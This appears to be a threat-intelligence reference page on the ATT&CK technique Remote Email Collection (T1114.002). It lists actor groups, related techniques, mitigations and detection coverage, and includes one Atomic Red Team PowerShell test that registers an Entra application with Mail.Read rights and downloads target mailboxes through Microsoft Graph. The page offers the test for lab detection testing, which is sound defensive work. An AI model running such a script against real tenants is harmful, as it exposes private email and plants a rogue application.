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ATT&CK Technique

Remote Email Collection

T1114.002 · collection

Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens.

Tools such as MailSniper can be used to automate searches for specific keywords.

Office SuiteWindows
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Actors Using This

14
north_koreaAndariel
chinaAPT10
russiaAPT28
russiaAPT29
chinaAPT31
iranAPT33
iranOilRig
iranAPT35
north_koreaAPT37
north_koreaAPT38
iranAPT39
chinaAPT40
iranCotton Sandstorm
chinaEarth Krahang
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Likely Attack Path

Techniques the same actors pair with this one distinctively - those showing up among actors who use this technique noticeably more than across all actors (lift > 1.15), grouped by kill-chain phase. The × is that lift multiplier; the shared-actor count is in the tooltip. A near-universal technique pairs with everything at baseline, so its list is short by design.
persistence earlier
T1136.003 · Cloud Account ×7.21T1137.006 · Add-ins ×7.21T1098.002 · Additional Email Delegate Permissions ×5.77T1556.007 · Hybrid Identity ×5.77T1098.005 · Device Registration ×5.41T1556.006 · Multi-Factor Authentication ×5.41
credential-access earlier
T1528 · Steal Application Access Token ×6.18T1606.002 · SAML Tokens ×5.77T1555.004 · Windows Credential Manager ×5.41
discovery earlier
T1087.003 · Email Account ×7.21T1526 · Cloud Service Discovery ×7.21T1087.004 · Cloud Account ×5.77
lateral-movement earlier
T1021.007 · Cloud Services ×7.21
collection same
T1213.002 · Sharepoint ×6.01T1114.003 · Email Forwarding Rule ×5.90
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Atomic Tests

1
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
powershelloffice-365Office365 - Remote Mail Collected
Create and register an entra application that downloads emails from a tenant's Office 365 mailboxes using the Microsoft Graph API app-only access. This can be used by an adversary to collect an organization's sensitive information. 
$ss = ConvertTo-SecureString "#{password}" -AsPlainText -Force
$cred = New-Object PSCredential -ArgumentList '#{username}', $ss
$param = @{
    Credential = $cred
    Force      = $true
}
$null = Connect-AzAccount @param
$token = (Get-AzAccessToken -ResourceTypeName MSGraph -ErrorAction Stop).token
$cert = New-SelfSignedCertificate -Subject "CN=PowerShell Application" -CertStoreLocation "Cert:\CurrentUser\My" -KeyExportPolicy Exportable -KeySpec Signature -KeyLength 2048 -KeyAlgorithm RSA -HashAlgorithm SHA256
$reqResourceAccess = ( @{ "resourceAccess" = (@{"id"= "570282fd-fa5c-430d-a7fd-fc8dc98a9dca"; "type"= "Scope"}, @{ "id"= "7427e0e9-2fba-42fe-b0c0-848c9e6a8182"; "type"= "Scope"}, @{"id"= "37f7f235-527c-4136-accd-4a02d197296e"; "type"= "Scope"}, @{"id"= "14dad69e-099b-42c9-810b-d002981feec1"; "type"= "Scope"}, @{ "id"= "e1fe6dd8-ba31-4d61-89e7-88639da4683d"; "type"= "Scope"}, @{ "id"= "810c84a8-4a9e-49e6-bf7d-12d183f40d01"; "type"= "Role"}); "resourceAppId" = "00000003-0000-0000-c000-000000000000" })
connect-mggraph -AccessToken $token
$context = Get-MgContext       
$users = get-MgUser
$app = New-MgApplication -DisplayName "T1114.002 Atomic Test #1 - Office365 - Remote Email Collection" -RequiredResourceAccess $reqResourceAccess -Web @{ RedirectUris="http://localhost"; } -KeyCredentials @(@{ Type="AsymmetricX509Cert"; Usage="Verify"; Key=$cert.RawData })
New-MgServicePrincipal -AppId $app.appId -AdditionalProperties @{} | Out-Null
$resourceSPN = Get-MgServicePrincipal -Filter "AppId eq '$($app.AppId)'"
$graphApiApp = Get-MgServicePrincipal -Filter "DisplayName eq 'Microsoft Graph'"
$mailRole = $graphApiApp.AppRoles|Where-Object Value -Eq "Mail.Read"
New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $resourceSPN.Id -PrincipalId $resourceSPN.Id -ResourceId $graphApiApp.id -AppRoleId $mailRole.Id
$mailbox1 = "#{1st_target_mailbox}"
$mailbox2 = "#{2nd_target_mailbox}"
$mailbox3 = "#{3rd_target_mailbox}"
[System.Collections.ArrayList]$selectUsers = @()
foreach ($user in $users) {if (($user.Mail -eq $mailbox1) -Or ($user.Mail -eq $mailbox2) -Or ($user.Mail -eq $mailbox3)){$selectUsers.Add($user.id)}}
connect-mggraph -ClientId $app.AppId -TenantId $context.TenantId -CertificateName $cert.Subjectname.Name
foreach ($user in $selectUsers) { $url= "https://graph.microsoft.com/v1.0/users/$($user)/messages" ; Invoke-MgGraphRequest -Uri $url -Method GET -OutputType PSObject}
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Mitigations

3
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1032Multi-factor Authentication

Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include: - Something you know: Passwords, PINs. - Something you have: Physical tokens, smartphone authenticator apps. - Something you are: Biometric data such as fingerprints, facial recognition, or retinal scans. Implementing MFA across all critical systems and services ensures robust protection against account takeover and unauthorized access.

Identity and Access Management (IAM)
  • Use IAM solutions like Azure Active Directory, Okta, or AWS IAM to enforce MFA policies for all user logins, especially for privileged roles.
  • Enable conditional access policies to enforce MFA for risky sign-ins (e.g., unfamiliar devices, geolocations).
  • Enable Conditional Access policies to only allow logins from trusted devices, such as those enrolled in Intune or joined via Hybrid/Entra.
Authentication Tools and Methods
  • Use authenticator applications such as Google Authenticator, Microsoft Authenticator, or Authy for time-based one-time passwords (TOTP).
  • Deploy hardware-based tokens like YubiKey, RSA SecurID, or smart cards for additional security.
  • Enforce biometric authentication for compatible devices and applications.
Secure Legacy Systems
  • Integrate MFA solutions with older systems using third-party tools like Duo Security or Thales SafeNet.
  • Enable RADIUS/NPS servers to facilitate MFA for VPNs, RDP, and other network logins.
Monitoring and Alerting
  • Use SIEM tools to monitor failed MFA attempts, login anomalies, or brute-force attempts against MFA systems.
  • Implement alerts for suspicious MFA activities, such as repeated failed codes or new device registrations.
Training and Policy Enforcement
  • Educate employees on the importance of MFA and secure authenticator usage.
  • Enforce policies that require MFA on all critical systems, especially for remote access, privileged accounts, and cloud applications.
M1041Encrypt Sensitive Information

Protect sensitive information at rest, in transit, and during processing by using strong encryption algorithms. Encryption ensures the confidentiality and integrity of data, preventing unauthorized access or tampering.

Encrypt Data at Rest
  • Use Case: Use full-disk encryption or file-level encryption to secure sensitive data stored on devices.
  • Implementation: Implement BitLocker for Windows systems or FileVault for macOS devices to encrypt hard drives.
Encrypt Data in Transit
  • Use Case: Use secure communication protocols (e.g., TLS, HTTPS) to encrypt sensitive data as it travels over networks.
  • Implementation: Enable HTTPS for all web applications and configure mail servers to enforce STARTTLS for email encryption.
Encrypt Backups
  • Use Case: Ensure that backup data is encrypted both during storage and transfer to prevent unauthorized access.
  • Implementation: Encrypt cloud backups using AES-256 before uploading them to Amazon S3 or Google Cloud.
Encrypt Application Secrets
  • Use Case: Store sensitive credentials, API keys, and configuration files in encrypted vaults.
  • Implementation: Use HashiCorp Vault or AWS Secrets Manager to manage and encrypt secrets.
Database Encryption
  • Use Case: Enable Transparent Data Encryption (TDE) or column-level encryption in database management systems.
  • Implementation: Use MySQL’s built-in encryption features to encrypt sensitive database fields such as social security numbers.
M1060Out-of-Band Communications Channel

Establish secure out-of-band communication channels to ensure the continuity of critical communications during security incidents, data integrity attacks, or in-network communication failures. Out-of-band communication refers to using an alternative, separate communication path that is not dependent on the potentially compromised primary network infrastructure. This method can include secure messaging apps, encrypted phone lines, satellite communications, or dedicated emergency communication systems.

Leveraging these alternative channels reduces the risk of adversaries intercepting, disrupting, or tampering with sensitive communications and helps coordinate an effective incident response.

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Detection Coverage

0/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) none
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none
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Comply & Defend

NIST 800-53AC-03, AC-04, AC-16, AC-17, AC-19, AC-20, CM-02, CM-06, IA-02, IA-05, SC-37, SI-04, SI-07, SI-12
D3FEND6 defensive techniques
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